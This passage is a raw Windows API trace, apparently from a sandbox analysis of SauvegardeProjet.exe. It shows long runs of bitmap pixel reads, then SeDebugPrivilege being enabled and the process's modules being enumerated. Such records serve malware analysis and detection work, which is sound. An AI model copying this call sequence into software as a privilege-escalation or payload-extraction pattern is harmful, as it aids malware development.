width=0x563e130) returned 0x0 [0057.434] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.434] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=152, color=0x563e140) returned 0x0 [0057.434] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.434] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.434] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=153, color=0x563e140) returned 0x0 [0057.434] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.434] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.435] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=154, color=0x563e140) returned 0x0 [0057.435] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.435] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.435] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=155, color=0x563e140) returned 0x0 [0057.435] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.435] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.435] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=156, color=0x563e140) returned 0x0 [0057.435] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.435] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.435] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=157, color=0x563e140) returned 0x0 [0057.435] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.435] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.435] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=158, color=0x563e140) returned 0x0 [0057.435] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.435] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.435] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=159, color=0x563e140) returned 0x0 [0057.435] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.435] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.435] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=160, color=0x563e140) returned 0x0 [0057.435] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.435] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.435] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=161, color=0x563e140) returned 0x0 [0057.436] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.436] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.436] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=162, color=0x563e140) returned 0x0 [0057.436] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.436] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.436] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=163, color=0x563e140) returned 0x0 [0057.436] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.436] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.436] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=164, color=0x563e140) returned 0x0 [0057.436] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.436] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.436] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=165, color=0x563e140) returned 0x0 [0057.436] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.436] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.436] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=166, color=0x563e140) returned 0x0 [0057.436] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.436] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.436] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=167, color=0x563e140) returned 0x0 [0057.436] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.436] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.436] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=168, color=0x563e140) returned 0x0 [0057.436] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.436] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.436] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=169, color=0x563e140) returned 0x0 [0057.436] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.436] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.436] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=170, color=0x563e140) returned 0x0 [0057.437] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.437] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.437] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=171, color=0x563e140) returned 0x0 [0057.437] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.437] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.437] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=172, color=0x563e140) returned 0x0 [0057.437] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.437] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.437] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=173, color=0x563e140) returned 0x0 [0057.437] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.437] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.437] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=174, color=0x563e140) returned 0x0 [0057.437] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.437] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.437] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=175, color=0x563e140) returned 0x0 [0057.437] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.437] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.437] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=176, color=0x563e140) returned 0x0 [0057.437] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.437] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.437] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=177, color=0x563e140) returned 0x0 [0057.437] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.437] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.437] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=178, color=0x563e140) returned 0x0 [0057.437] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.437] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.438] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=179, color=0x563e140) returned 0x0 [0057.438] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.438] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.438] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=180, color=0x563e140) returned 0x0 [0057.438] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.438] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.438] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=181, color=0x563e140) returned 0x0 [0057.438] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.438] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.438] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=182, color=0x563e140) returned 0x0 [0057.438] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.438] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.438] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=183, color=0x563e140) returned 0x0 [0057.438] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.438] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.438] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=184, color=0x563e140) returned 0x0 [0057.438] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.438] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.438] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=185, color=0x563e140) returned 0x0 [0057.438] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.438] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.438] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=186, color=0x563e140) returned 0x0 [0057.438] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.438] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.438] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=187, color=0x563e140) returned 0x0 [0057.438] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.438] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.439] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=188, color=0x563e140) returned 0x0 [0057.439] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.439] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.439] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=189, color=0x563e140) returned 0x0 [0057.439] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.439] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.439] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=190, color=0x563e140) returned 0x0 [0057.439] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.439] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.439] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=191, color=0x563e140) returned 0x0 [0057.439] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.439] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.439] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=192, color=0x563e140) returned 0x0 [0057.439] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.439] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.439] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=193, color=0x563e140) returned 0x0 [0057.439] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.439] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.439] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=194, color=0x563e140) returned 0x0 [0057.439] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.439] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.439] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=195, color=0x563e140) returned 0x0 [0057.439] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.439] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.439] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=196, color=0x563e140) returned 0x0 [0057.439] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.440] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.440] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=197, color=0x563e140) returned 0x0 [0057.440] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.440] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.440] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=198, color=0x563e140) returned 0x0 [0057.440] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.440] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.440] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=199, color=0x563e140) returned 0x0 [0057.440] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.440] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.440] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=200, color=0x563e140) returned 0x0 [0057.440] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.440] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.440] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=201, color=0x563e140) returned 0x0 [0057.440] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.440] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.440] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=202, color=0x563e140) returned 0x0 [0057.440] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.440] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.440] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=203, color=0x563e140) returned 0x0 [0057.440] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.440] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.440] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=204, color=0x563e140) returned 0x0 [0057.440] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.440] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.440] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=205, color=0x563e140) returned 0x0 [0057.440] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.441] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.441] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=206, color=0x563e140) returned 0x0 [0057.441] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.441] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.441] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=207, color=0x563e140) returned 0x0 [0057.441] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.441] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.441] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=208, color=0x563e140) returned 0x0 [0057.441] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.441] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.441] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=209, color=0x563e140) returned 0x0 [0057.441] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.441] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.441] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=210, color=0x563e140) returned 0x0 [0057.441] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.441] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.441] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=211, color=0x563e140) returned 0x0 [0057.441] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.441] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.441] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=212, color=0x563e140) returned 0x0 [0057.441] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.441] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.441] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=213, color=0x563e140) returned 0x0 [0057.441] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.441] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.441] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=214, color=0x563e140) returned 0x0 [0057.441] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.441] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.442] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=215, color=0x563e140) returned 0x0 [0057.442] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.442] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.442] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=216, color=0x563e140) returned 0x0 [0057.442] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.442] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.442] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=217, color=0x563e140) returned 0x0 [0057.442] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.442] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.442] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=0, y=218, color=0x563e140) returned 0x0 [0057.442] GdipGetImageHeight (image=0x4c34fd0, height=0x563e154) returned 0x0 [0057.442] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.442] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.442] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=0, color=0x563e140) returned 0x0 [0057.442] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.442] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.442] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=1, color=0x563e140) returned 0x0 [0057.442] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.442] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.442] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=2, color=0x563e140) returned 0x0 [0057.442] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.442] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.442] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=3, color=0x563e140) returned 0x0 [0057.442] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.442] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.442] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=4, color=0x563e140) returned 0x0 [0057.442] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.443] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.443] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=5, color=0x563e140) returned 0x0 [0057.443] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.443] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.443] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=6, color=0x563e140) returned 0x0 [0057.443] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.443] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.443] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=7, color=0x563e140) returned 0x0 [0057.443] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.443] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.443] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=8, color=0x563e140) returned 0x0 [0057.443] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.443] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.443] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=9, color=0x563e140) returned 0x0 [0057.443] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.443] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.443] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=10, color=0x563e140) returned 0x0 [0057.443] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.443] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.443] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=11, color=0x563e140) returned 0x0 [0057.443] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.443] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.443] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=12, color=0x563e140) returned 0x0 [0057.443] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.443] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.443] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=13, color=0x563e140) returned 0x0 [0057.443] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.444] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.444] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=14, color=0x563e140) returned 0x0 [0057.444] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.444] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.444] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=15, color=0x563e140) returned 0x0 [0057.444] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.444] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.444] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=16, color=0x563e140) returned 0x0 [0057.444] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.444] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.444] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=17, color=0x563e140) returned 0x0 [0057.444] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.444] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.444] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=18, color=0x563e140) returned 0x0 [0057.444] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.444] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.444] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=19, color=0x563e140) returned 0x0 [0057.444] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.444] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.444] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=20, color=0x563e140) returned 0x0 [0057.444] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.444] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.444] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=21, color=0x563e140) returned 0x0 [0057.444] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.444] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.444] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=22, color=0x563e140) returned 0x0 [0057.444] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.445] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.445] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=23, color=0x563e140) returned 0x0 [0057.445] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.445] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.445] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=24, color=0x563e140) returned 0x0 [0057.445] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.445] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.445] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=25, color=0x563e140) returned 0x0 [0057.445] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.445] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.445] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=26, color=0x563e140) returned 0x0 [0057.445] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.445] GdipGetImageHeight (image=0x4c34fd0, height=0x563e130) returned 0x0 [0057.445] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=27, color=0x563e140) returned 0x0 [0057.445] GdipGetImageWidth (image=0x4c34fd0, width=0x563e130) returned 0x0 [0057.445] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=28, color=0x563e140) returned 0x0 [0057.445] GdipBitmapGetPixel (bitmap=0x4c34fd0, x=1, y=29, color=0x563e140) returned 0x0 [0062.557] GetCurrentProcessId () returned 0x1c4 [0062.761] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x563ab1c | out: lpLuid=0x563ab1c*(LowPart=0x14, HighPart=0)) returned 1 [0062.762] GetCurrentProcess () returned 0xffffffff [0062.762] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x563ab18 | out: TokenHandle=0x563ab18*=0x284) returned 1 [0062.763] AdjustTokenPrivileges (in: TokenHandle=0x284, DisableAllPrivileges=0, NewState=0x26b10c4*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0062.763] CloseHandle (hObject=0x284) returned 1 [0062.827] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x284 [0062.834] EnumProcessModules (in: hProcess=0x284, lphModule=0x26b1940, cb=0x100, lpcbNeeded=0x563b1f0 | out: lphModule=0x26b1940, lpcbNeeded=0x563b1f0) returned 1 [0062.836] GetModuleInformation (in: hProcess=0x284, hModule=0xea0000, lpmodinfo=0x26b1a80, cb=0xc | out: lpmodinfo=0x26b1a80*(lpBaseOfDll=0xea0000, SizeOfImage=0x9c000, EntryPoint=0xf36c3e)) returned 1 [0062.837] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.837] GetModuleBaseNameW (in: hProcess=0x284, hModule=0xea0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0062.837] CoTaskMemFree (pv=0x4e69710) [0062.838] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.838] GetModuleFileNameExW (in: hProcess=0x284, hModule=0xea0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe")) returned 0x3a [0062.838] CoTaskMemFree (pv=0x4e69710) [0062.838] GetModuleInformation (in: hProcess=0x284, hModule=0x77850000, lpmodinfo=0x26b3c10, cb=0xc | out: lpmodinfo=0x26b3c10*(lpBaseOfDll=0x77850000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0062.838] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.838] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77850000, lpBaseName=0x4e69710, nSize=0x800 | out: 